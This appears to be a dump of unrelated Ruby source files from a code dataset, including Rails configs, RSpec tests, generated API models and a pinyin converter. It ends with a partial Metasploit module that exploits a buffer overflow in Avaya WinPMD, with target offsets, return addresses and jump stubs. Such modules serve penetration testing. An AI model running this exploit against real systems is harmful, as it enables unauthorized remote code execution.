app.config.spree.promotions = Spree::Promo::Environment.new
app.config.spree.promotions.rules = []
end
initializer 'spree.promo.register.promotion.calculators' do |app|
app.config.spree.calculators.add_class('promotion_actions_create_adjustments')
app.config.spree.calculators.promotion_actions_create_adjustments = [
Spree::Calculator::FlatPercentItemTotal,
Spree::Calculator::FlatRate,
Spree::Calculator::FlexiRate,
Spree::Calculator::TieredPercent,
Spree::Calculator::TieredFlatRate
]
app.config.spree.calculators.add_class('promotion_actions_create_item_adjustments')
app.config.spree.calculators.promotion_actions_create_item_adjustments = [
Spree::Calculator::PercentOnLineItem,
Spree::Calculator::FlatRate,
Spree::Calculator::FlexiRate
]
end
# Promotion rules need to be evaluated on after initialize otherwise
# Spree.user_class would be nil and users might experience errors related
# to malformed model associations (Spree.user_class is only defined on
# the app initializer)
config.after_initialize do
Rails.application.config.spree.promotions.rules.concat [
Spree::Promotion::Rules::ItemTotal,
Spree::Promotion::Rules::Product,
Spree::Promotion::Rules::User,
Spree::Promotion::Rules::FirstOrder,
Spree::Promotion::Rules::UserLoggedIn,
Spree::Promotion::Rules::OneUsePerUser,
Spree::Promotion::Rules::Taxon,
Spree::Promotion::Rules::OptionValue
]
end
initializer 'spree.promo.register.promotions.actions' do |app|
app.config.spree.promotions.actions = [
Promotion::Actions::CreateAdjustment,
Promotion::Actions::CreateItemAdjustments,
Promotion::Actions::CreateLineItems,
Promotion::Actions::FreeShipping]
end
# filter sensitive information during logging
initializer 'spree.params.filter' do |app|
app.config.filter_parameters += [
:password,
:password_confirmation,
:number,
:verification_value]
end
initializer 'spree.core.checking_migrations' do
Migrations.new(config, engine_name).check
end
config.to_prepare do
# Load application's model / class decorators
Dir.glob(File.join(File.dirname(__FILE__), '../../../app/**/*_decorator*.rb')) do |c|
Rails.configuration.cache_classes ? require(c) : load(c)
end
end
end
end
end
require 'spree/core/routes'
| 35.617188 | 93 | 0.649704 |
f8cc7626a386dce98e1889dc29e2b4de06688268 | 2,382 | # frozen_string_literal: true
require 'spec_helper'
feature Lodging do
let!(:conference) { create(:conference) }
let!(:organizer) { create(:organizer, resource: conference) }
scenario 'Add a lodging', feature: true, js: true do
path = "#{Rails.root}/app/assets/images/rails.png"
sign_in organizer
visit admin_conference_lodgings_path(
conference_id: conference.short_title)
# Add lodging
click_link 'Add Lodging'
fill_in 'lodging_name', with: 'New lodging'
fill_in 'lodging_website_link', with: 'http://www.google.com'
attach_file 'Picture', path
click_button 'Create Lodging'
page.find('#flash')
# Validations
expect(flash).to eq('Lodging successfully created.')
expect(page.has_content?('New lodging')).to be true
expect(Lodging.count).to eq(1)
end
scenario 'Update a lodging', feature: true, js: true do
path = "#{Rails.root}/app/assets/images/rails.png"
lodging = create(:lodging, conference: conference)
sign_in organizer
visit admin_conference_lodgings_path(
conference_id: conference.short_title)
expect(page.has_content?(CGI.escapeHTML(lodging.name))).to be true
# Add lodging
click_link 'Edit'
fill_in 'lodging_name', with: 'New lodging'
fill_in 'lodging_website_link', with: 'http://www.google.com'
attach_file 'Picture', path
click_button 'Update Lodging'
page.find('#flash')
# Validations
expect(flash).to eq('Lodging successfully updated.')
expect(page.has_content?('New lodging')).to be true
lodging.reload
expect(lodging.name).to eq('New lodging')
expect(lodging.description).to eq(CGI.escapeHTML(lodging.description))
expect(lodging.website_link).to eq('http://www.google.com')
expect(Lodging.count).to eq(1)
end
scenario 'Delete a lodging', feature: true, js: true do
lodging = create(:lodging, conference: conference)
sign_in organizer
visit admin_conference_lodgings_path(
conference_id: conference.short_title)
expect(page.has_content?(lodging.name)).to be true
page.accept_alert do
click_link 'Delete'
end
page.find('#flash')
# Validations
expect(flash).to eq('Lodging successfully deleted.')
expect(page.has_content?(CGI.escapeHTML(lodging.name))).to be false
expect(Lodging.count).to eq(0)
end
end
| 30.151899 | 74 | 0.694374 |
18c6b01766d8d30b8c2844bcbd9d0fd7a499d402 | 2,482 | # frozen_string_literal: true
$LOAD_PATH.push File.expand_path("../lib", __FILE__)
require "graphql/version"
require "date"
Gem::Specification.new do |s|
s.name = "graphql"
s.version = GraphQL::VERSION
s.date = Date.today.to_s
s.summary = "A GraphQL language and runtime for Ruby"
s.description = "A plain-Ruby implementation of GraphQL."
s.homepage = "https://github.com/rmosolgo/graphql-ruby"
s.authors = ["Robert Mosolgo"]
s.email = ["[email protected]"]
s.license = "MIT"
s.required_ruby_version = ">= 2.2.0" # bc `.to_sym` used on user input
s.metadata = {
"homepage_uri" => "https://graphql-ruby.org",
"changelog_uri" => "https://github.com/rmosolgo/graphql-ruby/blob/master/CHANGELOG.md",
"source_code_uri" => "https://github.com/rmosolgo/graphql-ruby",
"bug_tracker_uri" => "https://github.com/rmosolgo/graphql-ruby/issues",
"mailing_list_uri" => "https://tinyletter.com/graphql-ruby",
}
s.files = Dir["{lib}/**/*", "MIT-LICENSE", "readme.md", ".yardopts"]
s.test_files = Dir["spec/**/*"]
s.add_development_dependency "benchmark-ips"
s.add_development_dependency "codeclimate-test-reporter", "~>0.4"
s.add_development_dependency "concurrent-ruby", "~>1.0"
s.add_development_dependency "guard", "~> 2.12"
s.add_development_dependency "guard-minitest", "~> 2.4"
s.add_development_dependency "guard-rake"
s.add_development_dependency "guard-rubocop"
s.add_development_dependency "listen", "~> 3.0.0"
s.add_development_dependency "memory_profiler"
# Remove this limit when minitest-reports is compatible
# https://github.com/kern/minitest-reporters/pull/220
s.add_development_dependency "minitest", "~> 5.9.0"
s.add_development_dependency "minitest-focus", "~> 1.1"
s.add_development_dependency "minitest-reporters", "~>1.0"
s.add_development_dependency "racc", "~> 1.4"
s.add_development_dependency "rake", "~> 11"
s.add_development_dependency "rubocop", "0.68" # for Ruby 2.2 enforcement
# following are required for relay helpers
s.add_development_dependency "appraisal"
# required for upgrader
s.add_development_dependency "parser"
# website stuff
s.add_development_dependency "jekyll"
s.add_development_dependency "yard"
s.add_development_dependency "jekyll-algolia" if RUBY_VERSION >= '2.4.0'
s.add_development_dependency "jekyll-redirect-from" if RUBY_VERSION >= '2.4.0'
s.add_development_dependency "m", "~> 1.5.0"
end
| 43.54386 | 91 | 0.710717 |
acf1a4bf15391ef8f61513770b13eb4d630a8d72 | 368 | require 'spec_helper'
require 'eidolon/rgssx/color'
describe Color do
let :color do
object = nil
Dir.glob('**/Color.rdata') do |file|
object = File.open(file, 'rb') { |data| Marshal.load(data) }
end
object
end
describe '._load' do
it 'successfully recreates a Color instance' do
expect(color.alpha).to eq 0.0
end
end
end | 20.444444 | 66 | 0.638587 |
033aca10009e28606b8ad71e7ee78660c1e1ab01 | 2,452 | #
# Autogenerated by Thrift
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
require 'client_types'
module Hypertable
module ThriftGen
# Result type of HQL queries
#
# <dl>
# <dt>results</dt>
# <dd>String results from metadata queries</dd>
#
# <dt>cells</dt>
# <dd>Resulting table cells of for buffered queries</dd>
#
# <dt>scanner</dt>
# <dd>Resulting scanner ID for unbuffered queries</dd>
#
# <dt>mutator</dt>
# <dd>Resulting mutator ID for unflushed modifying queries</dd>
# </dl>
class HqlResult
include ::Thrift::Struct, ::Thrift::Struct_Union
RESULTS = 1
CELLS = 2
SCANNER = 3
MUTATOR = 4
FIELDS = {
RESULTS => {:type => ::Thrift::Types::LIST, :name => 'results', :element => {:type => ::Thrift::Types::STRING}, :optional => true},
CELLS => {:type => ::Thrift::Types::LIST, :name => 'cells', :element => {:type => ::Thrift::Types::STRUCT, :class => Hypertable::ThriftGen::Cell}, :optional => true},
SCANNER => {:type => ::Thrift::Types::I64, :name => 'scanner', :optional => true},
MUTATOR => {:type => ::Thrift::Types::I64, :name => 'mutator', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
# Same as HqlResult except with cell as array
class HqlResult2
include ::Thrift::Struct, ::Thrift::Struct_Union
RESULTS = 1
CELLS = 2
SCANNER = 3
MUTATOR = 4
FIELDS = {
RESULTS => {:type => ::Thrift::Types::LIST, :name => 'results', :element => {:type => ::Thrift::Types::STRING}, :optional => true},
CELLS => {:type => ::Thrift::Types::LIST, :name => 'cells', :element => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRING}}, :optional => true},
SCANNER => {:type => ::Thrift::Types::I64, :name => 'scanner', :optional => true},
MUTATOR => {:type => ::Thrift::Types::I64, :name => 'mutator', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
end
end
| 33.135135 | 185 | 0.520392 |
384b1db1f4692ff11dd49c2a80ad43336065f10c | 1,940 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
# Run rails dev:cache to toggle caching.
if Rails.root.join('tmp', 'caching-dev.txt').exist?
config.action_controller.perform_caching = true
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Store uploaded files on the local file system (see config/storage.yml for options)
config.active_storage.service = :local
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Highlight code that triggered database queries in logs.
config.active_record.verbose_query_logs = false
config.active_job.queue_adapter = :async
# Raises error for missing translations
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 34.642857 | 86 | 0.762371 |
7ab086ec825d05eeb8729cf964353ca4e83aa116 | 924 | # encoding: utf-8
require 'cassandra'
module CassandraMigrations
module Cassandra
module KeyspaceOperations
def create_keyspace!(env)
config = Config.configurations[env]
begin
execute(
"CREATE KEYSPACE #{config.keyspace} \
WITH replication = { \
'class':'#{config.replication['class']}', \
'replication_factor': #{config.replication['replication_factor']} \
}"
)
use(config.keyspace)
rescue Exception => exception
drop_keyspace!(env)
raise exception
end
end
def drop_keyspace!(env)
config = Config.configurations[env]
begin
execute("DROP KEYSPACE #{config.keyspace}")
rescue ::Cassandra::Errors::QueryError
raise Errors::UnexistingKeyspaceError, config.keyspace
end
end
end
end
end
| 24.972973 | 82 | 0.577922 |
089a3ccb3ed27ab6d3660c9ab621133ca4b82026 | 1,449 | class ProgramPresenter < ModelPresenter
delegate :title, :description, to: :object
delegate :number_with_delimiter, :current_customer, :button_to,
to: :view_context
def application_start_time
object.application_start_time.strftime('%Y-%m-%d %H:%M')
end
def application_end_time
object.application_end_time.strftime('%Y-%m-%d %H:%M')
end
def max_number_of_participants
if object.max_number_of_participants
number_with_delimiter(object.max_number_of_participants)
end
end
def min_number_of_participants
if object.min_number_of_participants
number_with_delimiter(object.min_number_of_participants)
end
end
def number_of_applicants
number_with_delimiter(object.number_of_applicants)
end
def registrant
object.registrant.family_name + ' ' + object.registrant.given_name
end
def apply_or_cancel_button
if entry = object.entries.where(customer_id: current_customer.id).first
label_text = entry.canceled? ? 'キャンセル済み' : 'キャンセルする'
button_to label_text, [ :cancel, :customer, object, entry ],
disabled: entry.canceled?, method: :patch,
data: { confirm: '本当にキャンセルしますか?' }
else
closed = object.application_end_time < Time.current
label_text = closed ? '募集終了' : '申し込む'
button_to label_text, [ :customer, object, :entries ],
disabled: closed, method: :post,
data: { confirm: '本当に申し込みますか?' }
end
end
end
| 29.571429 | 75 | 0.717736 |
f70f4a583517e42f6e3b2f10e4579c8826ab9d46 | 282 | module BeachApiCore::Concerns::NameGenerator
extend ActiveSupport::Concern
included do
before_validation :generate_name
private
def generate_name
return if title.blank? || name.present?
self.name = title.parameterize(separator: '_')
end
end
end
| 18.8 | 52 | 0.712766 |
ac3a571a1f3aa12f1a9209de40e124190354c788 | 452 | class Environment < ActiveRecord::Base
belongs_to :project, required: true, validate: true
has_many :deployments
validates :name,
presence: true,
uniqueness: { scope: :project_id },
length: { within: 0..255 },
format: { with: Gitlab::Regex.environment_name_regex,
message: Gitlab::Regex.environment_name_regex_message }
def last_deployment
deployments.last
end
end
| 26.588235 | 77 | 0.637168 |
28cde92afd8f80240b56624bb0d15cbf8f048004 | 699 | RSpec.describe ":if => true group" do
it(":if => true group :if => true example", :if => true) { puts 1 }
it(":if => true group :if => false example", :if => false) {puts 2 }
it(":if => true group no :if example") {puts 3 }
end
RSpec.describe ":if => false group", :if => false do
it(":if => false group :if => true example", :if => true) { puts 4}
it(":if => false group :if => false example", :if => false) { puts 5}
it(":if => false group no :if example") {puts 6 }
end
RSpec.describe "no :if group" do
it("no :if group :if => true example", :if => true) { puts 7}
it("no :if group :if => false example", :if => false) { puts 8}
it("no :if group no :if example") { puts 9}
end | 41.117647 | 71 | 0.579399 |
5d25930cc3b4034ba12935d4af4212feaff8ca3b | 479 | ActiveRecord::Schema.define(version: 2021_05_26_103300) do
create_table "pulse_onboarding_statuses", force: :cascade do |t|
t.bigint "user_id", null: false
t.bigint "company_id", null: false
t.integer "manager_tutorial_state"
t.integer "member_tutorial_state"
t.string "session_id"
t.boolean "completed", default: false, null: false
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
end
end
| 36.846154 | 66 | 0.724426 |
1a70f73ae68fc37d1ee4e3a7bdb696028f5c7d24 | 3,775 | require "thread"
module Bunni
# Network activity loop that reads and passes incoming AMQP 0.9.1 methods for
# processing. They are dispatched further down the line in Bunni::Session and Bunni::Channel.
# This loop uses a separate thread internally.
#
# This mimics the way RabbitMQ Java is designed quite closely.
# @private
class ReaderLoop
def initialize(transport, session, session_thread)
@transport = transport
@session = session
@session_thread = session_thread
@logger = @session.logger
@mutex = Mutex.new
end
def start
@thread = Thread.new(&method(:run_loop))
end
def resume
start
end
def run_loop
loop do
begin
break if @mutex.synchronize { @stopping || @stopped || @network_is_down }
run_once
rescue AMQ::Protocol::EmptyResponseError, IOError, SystemCallError => e
break if terminate? || @session.closing? || @session.closed?
log_exception(e)
@network_is_down = true
if @session.automatically_recover?
@session.handle_network_failure(e)
else
@session_thread.raise(Bunni::NetworkFailure.new("detected a network failure: #{e.message}", e))
end
rescue ShutdownSignal => _
@mutex.synchronize { @stopping = true }
break
rescue Exception => e
break if terminate?
if !(@session.closing? || @session.closed?)
log_exception(e)
@network_is_down = true
@session_thread.raise(Bunni::NetworkFailure.new("caught an unexpected exception in the network loop: #{e.message}", e))
end
rescue Errno::EBADF => ebadf
break if terminate?
# ignored, happens when we loop after the transport has already been closed
@mutex.synchronize { @stopping = true }
end
end
@mutex.synchronize { @stopped = true }
end
def run_once
frame = @transport.read_next_frame
return if frame.is_a?(AMQ::Protocol::HeartbeatFrame)
if !frame.final? || frame.method_class.has_content?
header = @transport.read_next_frame
content = ''
if header.body_size > 0
loop do
body_frame = @transport.read_next_frame
content << body_frame.decode_payload
break if content.bytesize >= header.body_size
end
end
@session.handle_frameset(frame.channel, [frame.decode_payload, header.decode_payload, content])
else
@session.handle_frame(frame.channel, frame.decode_payload)
end
end
def stop
@mutex.synchronize { @stopping = true }
end
def stopped?
@mutex.synchronize { @stopped = true }
end
def stopping?
@mutex.synchronize { @stopping = true }
end
def terminate_with(e)
@mutex.synchronize { @stopping = true }
self.raise(e)
end
def raise(e)
@thread.raise(e) if @thread
end
def join
@thread.join if @thread
end
def kill
if @thread
@thread.kill
@thread.join
end
end
protected
def log_exception(e)
if !(io_error?(e) && (@session.closing? || @session.closed?))
@logger.error "Exception in the reader loop: #{e.class.name}: #{e.message}"
@logger.error "Backtrace: "
e.backtrace.each do |line|
@logger.error "\t#{line}"
end
end
end
def io_error?(e)
[AMQ::Protocol::EmptyResponseError, IOError, SystemCallError].any? do |klazz|
e.is_a?(klazz)
end
end
def terminate?
@mutex.synchronize { @stopping || @stopped }
end
end
end
| 25.856164 | 131 | 0.59894 |
e2dfe7772ebb573cd6d29920ad4d9f7703477545 | 8,591 | =begin
#Selling Partner API for Direct Fulfillment Shipping
#The Selling Partner API for Direct Fulfillment Shipping provides programmatic access to a direct fulfillment vendor's shipping data.
OpenAPI spec version: v1
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 3.0.26
=end
require 'date'
module AmzSpApi::VendorDirectFulfillmentShippingApiModel
# Details of the shipment label.
class LabelData
# Identifier for the package. The first package will be 001, the second 002, and so on. This number is used as a reference to refer to this package from the pallet level.
attr_accessor :package_identifier
# Package tracking identifier from the shipping carrier.
attr_accessor :tracking_number
# Ship method to be used for shipping the order. Amazon defines Ship Method Codes indicating shipping carrier and shipment service level. Ship Method Codes are case and format sensitive. The same ship method code should returned on the shipment confirmation. Note that the Ship Method Codes are vendor specific and will be provided to each vendor during the implementation.
attr_accessor :ship_method
# Shipping method name for internal reference.
attr_accessor :ship_method_name
# This field will contain the Base64encoded string of the shipment label content.
attr_accessor :content
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'package_identifier' => :'packageIdentifier',
:'tracking_number' => :'trackingNumber',
:'ship_method' => :'shipMethod',
:'ship_method_name' => :'shipMethodName',
:'content' => :'content'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'package_identifier' => :'Object',
:'tracking_number' => :'Object',
:'ship_method' => :'Object',
:'ship_method_name' => :'Object',
:'content' => :'Object'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `AmzSpApi::VendorDirectFulfillmentShippingApiModel::LabelData` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `AmzSpApi::VendorDirectFulfillmentShippingApiModel::LabelData`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'package_identifier')
self.package_identifier = attributes[:'package_identifier']
end
if attributes.key?(:'tracking_number')
self.tracking_number = attributes[:'tracking_number']
end
if attributes.key?(:'ship_method')
self.ship_method = attributes[:'ship_method']
end
if attributes.key?(:'ship_method_name')
self.ship_method_name = attributes[:'ship_method_name']
end
if attributes.key?(:'content')
self.content = attributes[:'content']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @content.nil?
invalid_properties.push('invalid value for "content", content cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @content.nil?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
package_identifier == o.package_identifier &&
tracking_number == o.tracking_number &&
ship_method == o.ship_method &&
ship_method_name == o.ship_method_name &&
content == o.content
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[package_identifier, tracking_number, ship_method, ship_method_name, content].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
AmzSpApi::VendorDirectFulfillmentShippingApiModel.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end end
end
| 33.822835 | 377 | 0.649401 |
e979dfc5e402421abe7afcefa0d67ae52b35d548 | 1,985 | #本类实现汉字转拼音功能,由perl的Lingua::Han::PinYin包port而来(包括UniHan的数据)。
#
#由于实际需要只实现utf-8版本,需要gbk等转拼音的请使用Iconv自行转换。
#
#感谢Lingua::Han::PinYin原作者(http://www.fayland.org/journal/Han-PinYin.html)的工作.
#
#Author:: H.J.Leochen ( http://www.upulife.com )
#License:: Distributes under the same terms as Ruby
require 'singleton'
module PinYin
class PinYin
#OK,单例。
include Singleton
#单例模式,使用 PinYin.instance 实例。
def initialize
fn = File.join(File.dirname(File.expand_path(__FILE__)),'dict/Mandarin.dat')
@codes = {}
File.readlines(fn).each do |line|
nv = line.split(/\s/)
@codes[nv[0]] = nv[1]
end
end
#permlink固定分隔符,
#结果样式:Interesting-Ruby-Tidbits-That-Dont-Need-Separate-Posts-17
#
def to_permlink(str)
str_to_pinyin(str,'-')
end
#全部取首字母。 eg. ldh 刘德华
def to_pinyin_abbr(str)
str_to_pinyin(str,'',false,true)
end
#第一个字取全部,后面首字母.名称缩写。eg. liudh 刘德华
def to_pinyin_abbr_else(str)
str_to_pinyin(str,'',true,nil) #后面那个参数已经没有影响了。
end
#通用情况 tone为取第几声的标识。eg. ni3hao3zhong1guo2
def to_pinyin(str,separator='',tone=false)
str_to_pinyin(str,separator,false,false,tone)
end
private
def get_value(code)
@codes[code]
end
def str_to_pinyin(str,separator='',abbr_else=false,abbr=false,tone=false)
res = []
str.unpack('U*').each_with_index do |t,idx|
code = sprintf('%x',t).upcase
val = get_value(code)
#是否找到拼音?
if val
unless tone
val = val.gsub(/\d/,'')
end
if (abbr and !abbr_else) or (abbr_else and idx!=0)
val = val[0..0]
end
res << val.downcase+separator
else
tmp = [t].pack('U*')
res << tmp if tmp =~ /^[_0-9a-zA-Z\s]*$/ #复原,去除特殊字符,如全角符号等。
##???? 为什么 \W 不行呢?非要用0-9a-zA-Z呢?
end
end
unless separator==''
re = Regexp.new("\\#{separator}+")
re2 = Regexp.new("\\#{separator}$")
return res.join('').gsub(/\s+/,separator).gsub(re,separator).gsub(re2,'')
else
return res.join('')
end
end
end
end
| 23.630952 | 79 | 0.638791 |
21622c8449c7670d64a886a00389e16fd7eb3aa5 | 588 | module RETerm
module Components
# YouTube viewer, use cmds to render youtube to ascii:
# youtube-dl <url>
# mplayer -vo aa <file> -or-
# CACA_DRIVER=ncurses mplayer -vo caca <file>
class YouTube < CmdOutput
# Initialize the YouTube component
#
# @param [Hash] args youtube params
# @option args [String] :url url of the video
# to load
def initialize(args={})
@url = args[:url]
cmd = "..."
super(args.merge(:cmd => cmd))
end
end # YouTube
end # module Components
end # module RETerm
| 28 | 58 | 0.586735 |
9172f18a9ac12cc4f1ed5a15f230d635db51ea42 | 2,089 | require "hotel_beds/parser/room_grouper"
require "hotel_beds/model/available_room"
RSpec.describe HotelBeds::Parser::RoomGrouper do
subject { described_class.new(requested_rooms, response_rooms).groups }
context "when asking for 3 rooms (2 x 2 adults & 1 x 1 adult, 1 child)" do
let(:requested_rooms) do
[
double(:requested_room, adult_count: 2, child_count: 0, child_ages: []),
double(:requested_room, adult_count: 2, child_count: 0, child_ages: []),
double(:requested_room, adult_count: 1, child_count: 1, child_ages: [rand(17)])
]
end
let(:response_rooms) do
[
HotelBeds::Model::AvailableRoom.new(id: "room_1", adult_count: 2, child_count: 0, number_available: 1, room_count: 2),
HotelBeds::Model::AvailableRoom.new(id: "room_2", adult_count: 2, child_count: 0, number_available: 1, room_count: 2),
HotelBeds::Model::AvailableRoom.new(id: "room_3", adult_count: 1, child_count: 1, number_available: 2, room_count: 1),
HotelBeds::Model::AvailableRoom.new(id: "room_4", adult_count: 1, child_count: 1, number_available: 1, room_count: 1),
HotelBeds::Model::AvailableRoom.new(id: "room_5", adult_count: 2, child_count: 0, number_available: 2, room_count: 2)
]
end
it "should return 6 results" do
expect(subject.size).to eq(6)
end
it "should return results containing all three rooms" do
subject.each do |rooms|
expect(rooms.size).to eq(3)
end
end
end
context "when asking for 1 rooms (1 adult, 1 child)" do
let(:requested_rooms) do
[double(:requested_room, adult_count: 1, child_count: 1, child_ages: [rand(17)])]
end
let(:response_rooms) do
[
HotelBeds::Model::AvailableRoom.new(id: "room_1", room_count: 1, adult_count: 1, child_count: 1, number_available: 2),
HotelBeds::Model::AvailableRoom.new(id: "room_2", room_count: 1, adult_count: 1, child_count: 1, number_available: 1)
]
end
it "should return 2 results" do
expect(subject.size).to eq(2)
end
end
end
| 38.685185 | 126 | 0.674007 |
abd27347fbf9d6b7b018197f523441bd5722f20b | 564 | cask :v1 => 'noun-project' do
version '1.1.1'
sha256 '2c2dde80173af2d739688e47e74562b751bc138fffef68ae765e19597fd0ae0d'
# amazonaws.com is the official download host per the vendor homepage
url "https://s3.amazonaws.com/nounproject/mac/Noun-Project-#{version}.dmg"
name 'Noun Project'
appcast 'https://thenounproject.com/for-mac/feed/',
:sha256 => 'd5805a76644fde728873403ae7df2f16049908904db69b7af2e9650773a55cba'
homepage 'https://thenounproject.com'
license :commercial
app 'Noun Project.app'
depends_on :macos => '>= 10.9'
end
| 33.176471 | 87 | 0.748227 |
f7da619515f5c1dd6c9e2f1288785a09819b95e7 | 169 | # frozen_string_literal: true
# @api public
# @since 0.3.0
class SmartCore::Types::Protocol < SmartCore::Types::Primitive
require_relative 'protocol/instance_of'
end
| 21.125 | 62 | 0.769231 |
1cbbe3b1661e6949fb0d03d045eb66f0e43df687 | 4,801 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
parsing specially crafted "To:" headers. The module has been tested successfully on
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
},
'Author' =>
[
'Abdul-Aziz Hariri', # Vulnerability discovery
'Abysssec', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '82764'],
['OSVDB', '73269'],
['BID', '47947'],
['EDB', '18397'],
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
['URL', 'http://secunia.com/advisories/44062']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
'Space' => 1024,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Avaya WinPMD 3.8.2 / Windows XP SP3',
{
'Offset' => 260,
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
}
],
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
{
'Offset' => 260,
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
}
]
],
'Privileged' => true,
'DisclosureDate' => 'May 23 2011',
'DefaultTarget' => 0
))
register_options([ Opt::RPORT(3217) ], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def exploit
connect_udp
if target.name =~ /Windows XP SP3/
buf = "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
